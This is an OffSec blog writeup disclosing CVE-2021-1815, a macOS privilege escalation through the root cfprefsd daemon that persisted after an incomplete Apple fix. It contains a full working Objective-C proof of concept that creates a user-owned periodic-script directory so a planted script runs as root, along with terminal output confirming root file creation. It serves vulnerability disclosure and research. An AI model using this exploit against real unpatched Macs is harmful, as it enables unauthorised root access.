Blog
May 6, 2021
CVE-2021-1815 – macOS local privilege escalation via Preferences
Apple fixed three vulnerabilities in macOS 11.3’s Preferences. Here we present our writeup about how we identified one of the issues, and how we exploited it.
6 min read
Apple recently fixed three vulnerabilities in macOS 11.3’s Preferences. Although we also reported the vulnerability, it was first found by Zhipeng Huo (@R3dF09) and Yuebin Sun (@yuebinsun2020). Here we present
our writeup about how we identified one of the issues, and how we exploited it.
In 2020, the team from Georgia Institute of Technology (Yonghwi Jin, Jungwon Lim, Insu Yun, and Taesoo Kim) successfully exploited Apple macOS at pwn2own 2020. They presented their six-step exploit chain at BlackHat USA 2020, and their slides are available here. They also posted a detailed writeup on GitHub along with video on YouTube.
While reading through their very detailed writeup, which also includes information about how Apple patched the various vulnerabilities they found, we noticed a mistake Apple made while patching one of the discovered issues. Specifically, Apple failed to mitigate all exploitation paths when fixing CVE-2020-9839, which affected the cfprefsd process. We discovered that privilege escalation is still possible via the cfprefsd daemon.
The cfprefsd process is responsible for setting preferences. There are normally two instances running, one responsible for setting preferences for applications which runs with normal user privileges, and one running as root which is responsible for setting system wide preferences. Any process can open XPC connection to any of the two cfprefsd processes.
The original vulnerability allowed an attacker to communicate with the global cfprefsd daemon, which runs as root and set user ownership on custom directories by utilizing symbolic links. This was possible when the cfprefsd daemon created the directory for the preferences file using the CFPrefsCreatePreferencesDirectory function.
The team reverse engineered the fix for CVE-2020-9839, which is shown below in Listing .
[cce]int _CFPrefsCreatePreferencesDirectory(path) {
int dirfd = open(“/”, O_DIRECTORY);
for(slice in path.split(“/”)) {
int fd = openat(dirfd, slice, O_DIRECTORY);
if (fd == -1 && errno == ENOENT && !mkdirat(dirfd, slice, perm)) {
fd = openat(dirfd, slice, O_DIRECTORY|O_NOFOLLOW);
if ( fd == -1 ) return -1;
fchown(fd, uid, gid);
}
} // close all fds return 0;
}
[/cce]
Listing – The patched CFPrefsCreatePreferencesDirectory function
Apple’s fix ensured that symbolic links are no longer followed, thus ownership can’t be changed anymore on arbitrary directories. Nevertheless, one issue remained.
Although not obvious at first sight, this patch is not sufficient to completely prevent escalatation of privilege attacks. The code shown above still allows a user to create an directory with either user or root privileges. Since the directory location is under the control of the attacker, this can be abused to escalate privileges to root.
Here we will detail one method, but as we can create directories as any user in arbitrary locations there can be other ways to abuse this.
macOS makes use of maintenance scripts, i.e. periodic scripts that run with root privileges on a daily, weekly and monthly basis. The periodic scripts are configured through the /etc/defaults/periodic.conf file. This script has a definition for user defined scripts.
[cce]# periodic script dirs
local_periodic=”/usr/local/etc/periodic”
[/cce]
Listing – User defined periodic scripts
On default macOS installations, this location doesn’t exist. This means that we can create this directory structure by connecting to the cfprefsd root daemon service, and asking the dameon to set ownership of the directory to our user.
Once this directory is created, we can create our script there (as the location will be owned by the user) and that script will be run as root.
An exploit example is shown below:
[cce]#import <Foundation/Foundation.h>
#include <xpc/xpc.h>
#include <sys/stat.h>
int main() {
char *serviceName = “com.apple.cfprefsd.daemon”;
int status = 0;
xpc_connection_t conn;
xpc_object_t msg;
conn = xpc_connection_create_mach_service(serviceName, NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
if (conn == NULL) {
perror(“xpc_connection_create_mach_service”);
}
xpc_connection_set_event_handler(conn, ^(xpc_object_t obj) {
perror(“xpc_connection_set_event_handler”);
});
xpc_connection_resume(conn);
msg = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(msg, “CFPreferencesOperation”, 1);
xpc_dictionary_set_bool(msg, “CFPreferencesUseCorrectOwner”, true);
//create as user
xpc_dictionary_set_string(msg, “CFPreferencesUser”, “kCFPreferencesCurrentUser”);
xpc_dictionary_set_string(msg, “CFPreferencesHostBundleIdentifier”, “prefs”);
xpc_dictionary_set_string(msg, “CFPreferencesDomain”, “/usr/local/etc/periodic/daily/a.plist”);
xpc_dictionary_set_string(msg, “Key”, “key”);
xpc_dictionary_set_string(msg, “Value”, “value”);
xpc_connection_send_message(conn, msg);
usleep(1000000);
NSString* script = @”touch /Library/privesc.txt\n”;
NSError *error;
BOOL succeed = [script writeToFile:@”/usr/local/etc/periodic/daily/111.lpe” atomically:YES encoding:NSUTF8StringEncoding error:&error];
if (!succeed){
printf(“Couldn’t create periodic script :(\n”);
}
char mode[] = “0777”;
int i;
i = strtol(mode, 0, 8);
chmod(“/usr/local/etc/periodic/daily/111.lpe”,i);
}
[/cce]
Listing – cfprefsd exploit
This exploit will initiate an XPC message to the cfprefsd daemon which runs as root. This is identified by the service name com.apple.cfprefsd.daemon. (The user mode daemon is identified as com.apple.cfprefsd.agent). The daemon will create the folder /usr/local/etc/periodic/daily/ and then write our script to the location, which will run touch /Library/privesc.txt. We can compile the code with gcc -framework Foundation cfprefsd_exploit.m -o cfprefsd_exploit.
First let’s ensure that neither the directory /usr/local/etc/periodic/daily/ nor the file we want to create /Library/privesc.txt already exist.
[cce]offsec@bigsur ~ % ls -l /Library/privesc.txt
ls: /Library/privesc.txt: No such file or directory
offsec@bigsur ~ % ls -lR /usr/local/
[/cce]
Listing – Verifying diirectory and file
Now that we verified that, let’s run our exploit.
[cce]offsec@bigsur ~ % ./cfprefsd_exploit
xpc_connection_set_event_handler: Undefined error: 0
offsec@bigsur ~ % ls -lR /usr/local/
total 0
drwx—— 3 offsec staff 96 Apr 13 02:02 etc
/usr/local//etc:
total 0
drwx—— 3 offsec staff 96 Apr 13 02:02 periodic
/usr/local//etc/periodic:
total 0
drwx—— 3 offsec staff 96 Apr 13 02:02 daily
/usr/local//etc/periodic/daily:
total 8
-rwxrwxrwx@ 1 offsec staff 27 Apr 13 02:02 111.lpe
[/cce]
Listing – Running the exploit
As we can see, the folder structure was created with our script written at the target location. Next, we simulate the execution of periodic scripts.
[cce]offsec@bigsur ~ % sudo periodic daily
offsec@bigsur ~ % ls -l /Library/privesc.txt
-rw-r–r– 1 root wheel 0 Apr 13 02:02 /Library/privesc.txt
[/cce]
Listing – Invoke daily scripts and verify the execution of our daily script
Once the script run our file is created as root.
We can also create a directory as root if we want by using the following line in the exploit.
[cce]xpc_dictionary_set_string(msg, “CFPreferencesUser”, “root”);
[/cce]
Listing – Change this in exploit code if we need to create a directory as root
In summary, we can still use cfprefsd to create arbitrary directories in arbitrary location as any user. Using this we can write arbitrary scripts that will be executed later as root. Using periodic scripts is just an example for utilizing this vulnerability, as other options with the same end result might exist.
About the Author
Csaba Fitzl has worked for 6 years as a network engineer and 8 years as a blue/red teamer in a large enterprise focusing on malware analysis, threat hunting, exploitation, and defense evasion. Currently, he is focusing on macOS research and working at OffSec as a content developer. He gives talks and workshops at various international IT security conferences, including Hacktivity, hack.lu, Troopers, SecurityFest, DEFCON, and Objective By The Sea.
Latest from OffSec
OffSec News
OffSec Yearly Recap 2024
Join us as we explore all our successes in 2024, including exciting new content, courses, and so much more!
Dec 23, 2024
8 min read
Enterprise Security
Red Team vs Blue Team in Cybersecurity
Learn what a red team and blue team in cybersecurity are, pros and cons of both, as well as how they work together.
Dec 13, 2024
13 min read
Enterprise Security
Building a Future-Ready Cybersecurity Workforce: The OffSec Approach to Talent Development
Learn all about our recent webinar “Building a Future-Ready Cyber Workforce: The OffSec Approach to Talent Development”.
Dec 13, 2024
4 min read